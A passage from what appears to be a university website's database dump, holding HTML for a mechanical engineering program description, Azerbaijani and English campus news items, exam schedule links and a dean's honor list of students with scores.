analyze and design objects and systems with motion.</p><strong></strong><p style=\"text-align:justify\"><img src=\"/files/engineering/images/1m.jpg\" style=\"width:730px;height:424px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">Since these skills are required for virtually everything that is made, mechanical engineering is perhaps the broadest and most diverse of engineering disciplines. Mechanical engineers play a central role in all sections of industry including:</p><ul><li> automotive (from the car chassis to its every subsystem — engine, transmission, sensors); <br></li><li> aerospace (airplanes, aircraft engines, control systems for airplanes and spacecraft); <br></li><li>automation (robots, data and image acquisition, recognition, control); </li><li>manufacturing (machining, machine tools, prototyping, microfabrication);</li><li>biotechnology (implants, prosthetic devices, fluidic systems for pharmaceutical industries);</li><li>&nbsp;computers and electronics (disk drives, printers, cooling systems, semiconductor tools);</li><li>&nbsp;microelectromechanical systems, or MEMS (sensors, actuators, micropower generation);&nbsp;</li><li>energy conversion (gas turbines, wind turbines, solar energy, fuel cells); </li><li>environmental control (HVAC, air-conditioning, refrigeration, compressors).</li></ul><p style=\"text-align:justify\"><img src=\"/files/engineering/images/2m.jpg\" style=\"width:730px;height:634px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img src=\"/files/engineering/images/5m.jpg\" style=\"width:730px;height:265px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">To put it simply, mechanical engineering deals with anything that moves, including the human body, a very complex machine. Mechanical engineers learn about materials, solid and fluid mechanics, thermodynamics, heat transfer, control, instrumentation, design, and manufacturing to understand mechanical systems. Specialized mechanical engineering subjects include biomechanics, cartilage-tissue engineering, energy conversion, laser-assisted materials processing, combustion, MEMS, microfluidic devices, fracture mechanics, nanomechanics, mechanisms, micropower generation, tribology (friction and wear), and vibrations. The American Society of Mechanical Engineers (ASME) currently lists 36 technical divisions, from advanced energy systems and aerospace engineering to solid-waste engineering and textile engineering. The breadth of the mechanical engineering discipline allows students a variety of career options beyond some of the industries listed above. Regardless of the particular path they envision for themselves after they graduate, their education will have provided them with the creative thinking that allows them to design an exciting product or system, the analytical tools to achieve their design goals, the ability to overcome all constraints, and the teamwork needed to design, market, and produce a system. These valuable skills could also launch a career in medicine, law, consulting, management, banking, finance, and so on. For those interested in applied scientific and mathematical aspects of the discipline, graduate study in mechanical engineering can lead to a career of research and teaching.</p>'),(3050,1801,'az','“Əlillik və əlilliyə münasibət” adlı məqalə yarışmasının qalibləri elan olundu','2016-ci il dekabrın 28-də Xəzər Universiteti Əlilliyi olan Tələbələr üçün Mərkəzi və  Xəzər Psixoloji Xidmət Mərkəzinin birgə əməkdaşlığı ilə həyata keçirilən...','<p>2016-ci il dekabrın 28-də Xəzər Universiteti Əlilliyi olan Tələbələr üçün Mərkəzi və &nbsp;Xəzər Psixoloji Xidmət Mərkəzinin birgə əməkdaşlığı ilə həyata keçirilən “Əlillik və əlilliyə münasibət” adlı məqalə yarışmasının yekun tədbiri həyata keçirildi. Tədbir zamanı Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzinin koordinatoru Rima Məmmədova çıxış edərək, “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsi və Əlilliyi olan Tələbələr üçün Mərkəz haqqında geniş məlumat verdi. Tədbirdə Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova əlillik, onun xüsusiyyətləri və onlara yanaşma tərzi barəsində danışdı. O, həmçinin Xəzər Psixoloji Xidmət Mərkəzinin fəaliyyəti haqqında məlumat verdi.</p><p>Cari ilin oktyabrında elan edilmiş “Əlillik və əlilliyə münasibət” adlı məqalə yarışmasının göndərilmiş məqalələrdən 8 ən yaxşısı mükafata layiq görülmüşdür. İlk üçlük isə belə müəyyənləşdirilmişdir: Samir İmanov (I yer); Kəmalə Rəsulova (II yer); Elşən Dağlar (III yer).</p><p>Tədbirin sonunda Samir İmanov məqalə yarışması haqqında öz fikirlərini söylədi və özünün “Hədəfdəki insan” adlı romanı haqqında da məlumat verdi. “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsində tərəfdaş olan Sumqayıt Dövlət Universiteti, Azərbaycan Dövlət İqtisad Universiteti və Azərbaycan Respublikası Əmək və Əhalinin Sosial Müdafiəsi Nazirliyinin Əmək və Sosial Problemləri üzrə Elmi-Tədqiqat və Tədris Mərkəzinin nümayəndələri, Xəzər Universitetinin akademik və inzibati işçiləri və digər qonaqlar iştirak etdilər.</p>'),(2889,1717,'az','Şair Ramiz Rövşən ilə görüş keçiriləcək','2016-cı il dekabrın 16-da saat 19.00-da Xəzər Universiteti Mərkəz kampusunun (Bəşir Səfəroğlu küçəsi, 122) “Dünya” konsert salonunda...','<p>2016-cı il dekabrın 16-da saat 19.00-da Xəzər\r\nUniversiteti Mərkəz kampusunun (Bəşir Səfəroğlu küçəsi, 122) “Dünya” konsert\r\nsalonunda tanınmış şair Ramiz Rövşənin anadan olmasının 70 illiyi münasibətilə\r\ngörüç keçiriləcək. Maraqlananlar dəvət olunurlar.</p>'),(536,352,'en','Fall 2018 Midterm Exam Schedule ','Fall 2018 Midterm Exam Schedule   ','<img src=\"/files/image/15_10_13_exam_schedule_banner.jpg\" style=\"border:0px  #000000;width:600px;height:248px;margin:7px;vertical-align:middle\"><div><p><br></p><p><strong><a href=\"http://www.khazar.org/files/social/1/Mid.exam_SHSS%202.xlsx\">EXAM_SCHEDULE_FALL_2018</a></strong><a href=\"http://www.khazar.org/files/social/1/Mid.exam_SHSS.xlsx\"></a></p><p><strong><a href=\"http://www.khazar.org/files/social/1/Departments%20Exam-F2018.pdf\">ENGLISH_EXAMS_FALL_2018</a></strong></p>  </div>'),(2887,1716,'az','Təhsil fakültəsinin məzunları ilə görüş keçiriləcək','2016-cı il dekabrın 16-sı saat 17.00-də konfrans zalında (otaq 102 N) Xəzər Universiteti Təhsil fakültəsini 2016-cı ildə bitirmiş bakalavr məzunları ilə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il\r\ndekabrın 16-sı saat 17.00-də konfrans zalında (otaq 102 N) Xəzər Universiteti Təhsil\r\nfakültəsini 2016-cı ildə bitirmiş bakalavr məzunları ilə universitet rəhbərliyinin\r\ngörüşü keçiriləcək. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Maraqlanan hər kəs\r\ndəvət olunur.</p>\r\n<p style=\"text-align: right;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:right;text-indent:.25in\"\"=\"\"><strong><em>Məzunlarla\r\nİş Mərkəzi</em></strong></p>'),(2888,1716,'en','School of Education Alumni Meeting','On December 16, 2016 at 17:00 in room 102N, the university administration will hold a meeting with 2016 bachelor-level...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nDecember 16, 2016 at 17:00 in room 102N, the university administration will\r\nhold a meeting with 2016 bachelor-level graduates of the School of Education. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Everyone\r\nis welcome to attend. </p>\r\n<p style=\"text-align: right;\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong><em>Center\r\nfor Alumni Relations</em></strong></p>'),(537,353,'az','Yaz 2018 Fakültə elanları','Yaz 2018 Fakültə elanları','<div><br></div><div><div><img src=\"http://www.khazar.org/files/15_10_13_Important-Announcement-292x300.jpg\"><img src=\"http://www.khazar.org/files/15_10_14_15_06_04_khazar_location.jpg\"><div><br></div><div>41 Mehseti Str.</div></div><div><p>AZ1096</p><p>Baku, Azerbaijan</p><p>Phone: (994 12) 4211093,</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;(994 12) 4217927</p><p>Fax:&nbsp;&nbsp;&nbsp; &nbsp;(994 12) 4989379</p><p>E-mail:&nbsp;&nbsp;<a href=\"mailto:ashadlinskaya@khazar.org\">contact</a><a href=\"mailto:ashadlinskaya@khazar.org\">@khazar.org</a></p></div><p><strong></strong></p><p><br></p><p><strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:center\"><br></p><p><strong><em>&nbsp;</em></strong><span style=\"font-family:\'Times New Roman\', serif;font-size:14pt;text-align:justify;text-indent:0.5in\"></span></p><p><span style=\"font-family:\'Times New Roman\', serif;font-size:14pt;text-align:justify;text-indent:0.5in\"></span></p><strong><em><div><strong><em><p>Humanitar və Sosial elmlər fakültəsinin aşağıda adları qeyd olunan tələbələri&nbsp;</p><p>2017-2018-ci tədris ilinin Yaz semestrinin nəticələrinə görə&nbsp;</p><p>“Dekanın Fəxri Vərəqinə” daxil edilmişlər.:</p></em></strong></div></em></strong><strong><em></em></strong>  <table cellspacing=\"0\" cellpadding=\"0\" width=\"486\" style=\"\" width:364.5pt;background:white;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Nigar Allahverdiyeva&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>90</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Səbinə Qafarova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>90</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Seymur Bağırov&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>95</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Abdulla Buğayev&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>98</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mirvari Əliyeva&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>91</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Raya Hidayətova&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>96</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ənvər İsmayıllı&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>96</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Nuranə Quliyeva&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>98</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">İbrahim Mustafayev&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>98</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Nərgiz Şahmaliyeva&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>95</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Züleyxa Şahvələdova&nbsp;</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>93</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Laləndə Qədirova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>94</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mustafa Qocayev</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>96</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Zərifə Mazanova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>91</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Fidan Qədiməliyeva</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>91</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Elmira Əliyeva</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>91</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sevinc Hacıyeva</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>97</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ləman Quliyeva</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>90</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mirzəhra Mürsəlli</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>90</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Elməddin Məmmədli</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>90</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sabrina Ramazanova</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>97</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"426\" style=\"\" width:319.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" #cfcfcf=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:2.25pt=\"\" 4.5pt=\"\" 3.0pt=\"\" 4.5pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Cavad Əzizov</p>\r\n  </td>\r\n  <td width=\"60\" style=\"\" 